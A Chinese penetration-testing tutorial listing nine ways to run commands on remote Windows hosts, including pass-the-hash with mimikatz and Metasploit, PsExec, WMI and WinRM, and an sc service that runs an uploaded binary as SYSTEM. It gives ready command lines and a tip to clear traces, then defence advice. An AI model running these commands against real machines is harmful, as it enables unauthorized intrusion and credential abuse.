windows远程执行cmd命令的9种方法
字数 1206 2025-08-26 22:11:40

Windows远程执行CMD命令的9种方法详解

一、远程执行命令方式及对应端口

方法 使用端口
IPC$+AT 445
PSEXEC 445
WMI 135
Winrm 5985(HTTP)/5986(HTTPS)

二、9种远程执行CMD命令的方法详解

1. WMI执行命令方式(无回显)

命令格式

wmic /node:目标IP /user:用户名 /password:密码 process call create "cmd.exe /c 命令>输出路径"

示例

wmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>d:\result.txt"

特点

  • 使用WMI服务(端口135)
  • 命令执行结果不会直接显示,需要重定向到文件
  • 需要管理员权限

2. Hash传递攻击(Pass-the-Hash)

步骤

  1. 获取目标系统的NTLM Hash(如使用mimikatz)

    administrator的hash示例: 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF
    
  2. 使用Metasploit执行:

    use exploit/windows/smb/psexec
    set RHOST 192.168.81.129
    set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF
    set SMBUser Administrator
    run
    

特点

  • 不需要知道明文密码
  • 需要目标系统未启用SMB签名或限制NTLM响应
  • 需要管理员权限的Hash

3. Mimikatz传递Hash+AT计划任务

步骤

  1. 使用mimikatz传递Hash:

    mimikatz.exe privilege::debug "sekurlsa::pth /domain:. /user:administrator /ntlm:2D20D252A479F485CDF5E171D93985BF"
    
  2. 建立连接并执行命令:

    dir \\192.168.1.185\c$
    

特点

  • 结合了Hash传递和计划任务
  • 需要目标系统开启计划任务服务

4. WMIcmd执行命令(有回显)

命令格式

WMIcmd.exe -h 目标IP -d 主机名 -u 用户名 -p 密码 -c "命令"

示例

WMIcmd.exe -h 192.168.1.152 -d hostname -u pt007 -p admin123 -c "ipconfig"

特点

  • 相比原生WMI命令,可以直接看到命令执行结果
  • 需要下载WMIcmd工具

5. Cobalt Strike远程执行命令

特点

  • 专业的渗透测试工具
  • 支持多种协议和方式执行命令
  • 具有强大的后渗透功能

6. Psexec.exe远程执行命令

步骤

  1. 接受许可协议:

    psexec /accepteula
    
  2. 删除可能存在的服务:

    sc delete psexesvc
    
  3. 执行命令:

    psexec \\192.168.1.185 -u pt007 -p admin123 cmd.exe
    

特点

  • 微软官方工具
  • 会在目标系统创建服务
  • 需要管理员权限

7. Psexec.vbs远程执行命令

命令格式

cscript psexec.vbs 目标IP 用户名 密码 "命令"

示例

cscript psexec.vbs 192.168.1.158 pt007 admin123 "ipconfig"

特点

  • VBS脚本版本
  • 不需要安装,直接运行

8. Winrm远程执行命令

配置目标系统

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts = "*"}

客户端连接方式

winrs -r:http://目标IP:5985 -u:用户名 -p:密码 "命令"
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 cmd

解决UAC问题

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

特点

  • Windows原生远程管理协议
  • 需要5985或5986端口开放
  • 需要手动启用服务

9. 远程命令执行SC(服务控制)

步骤

  1. 建立IPC连接:

    net use \\192.168.17.138\c$ "admin123" /user:pt007
    
  2. 上传文件:

    copy test.exe \\192.168.17.138\c$
    
  3. 创建并启动服务:

    sc \\192.168.17.138 create test binpath="c:\test.exe"
    sc \\192.168.17.138 start test
    
  4. 清理:

    sc \\192.168.17.138 del test
    

特点

  • 以SYSTEM权限执行
  • 适合执行二进制文件
  • 需要管理员权限

三、安全注意事项

  1. 这些方法大多需要管理员权限
  2. 在企业环境中使用前需获得授权
  3. 部分方法会被安全软件拦截
  4. 使用后应清理痕迹
  5. 某些方法需要特定服务开启(如SMB、WinRM等)

四、防御建议

  1. 限制管理员权限分配
  2. 启用SMB签名
  3. 限制NTLM使用
  4. 监控异常服务创建
  5. 定期审计日志
  6. 限制远程管理端口访问

以上方法仅供安全研究和授权测试使用,未经授权使用这些技术可能违反法律。

Windows远程执行CMD命令的9种方法详解 一、远程执行命令方式及对应端口 | 方法 | 使用端口 | |--------------------|----------| | IPC$+AT | 445 | | PSEXEC | 445 | | WMI | 135 | | Winrm | 5985(HTTP)/5986(HTTPS) | 二、9种远程执行CMD命令的方法详解 1. WMI执行命令方式(无回显) 命令格式 : 示例 : 特点 : 使用WMI服务(端口135) 命令执行结果不会直接显示,需要重定向到文件 需要管理员权限 2. Hash传递攻击(Pass-the-Hash) 步骤 : 获取目标系统的NTLM Hash(如使用mimikatz) 使用Metasploit执行: 特点 : 不需要知道明文密码 需要目标系统未启用SMB签名或限制NTLM响应 需要管理员权限的Hash 3. Mimikatz传递Hash+AT计划任务 步骤 : 使用mimikatz传递Hash: 建立连接并执行命令: 特点 : 结合了Hash传递和计划任务 需要目标系统开启计划任务服务 4. WMIcmd执行命令(有回显) 命令格式 : 示例 : 特点 : 相比原生WMI命令,可以直接看到命令执行结果 需要下载WMIcmd工具 5. Cobalt Strike远程执行命令 特点 : 专业的渗透测试工具 支持多种协议和方式执行命令 具有强大的后渗透功能 6. Psexec.exe远程执行命令 步骤 : 接受许可协议: 删除可能存在的服务: 执行命令: 特点 : 微软官方工具 会在目标系统创建服务 需要管理员权限 7. Psexec.vbs远程执行命令 命令格式 : 示例 : 特点 : VBS脚本版本 不需要安装,直接运行 8. Winrm远程执行命令 配置目标系统 : 客户端连接方式 : 解决UAC问题 : 特点 : Windows原生远程管理协议 需要5985或5986端口开放 需要手动启用服务 9. 远程命令执行SC(服务控制) 步骤 : 建立IPC连接: 上传文件: 创建并启动服务: 清理: 特点 : 以SYSTEM权限执行 适合执行二进制文件 需要管理员权限 三、安全注意事项 这些方法大多需要管理员权限 在企业环境中使用前需获得授权 部分方法会被安全软件拦截 使用后应清理痕迹 某些方法需要特定服务开启(如SMB、WinRM等) 四、防御建议 限制管理员权限分配 启用SMB签名 限制NTLM使用 监控异常服务创建 定期审计日志 限制远程管理端口访问 以上方法仅供安全研究和授权测试使用,未经授权使用这些技术可能违反法律。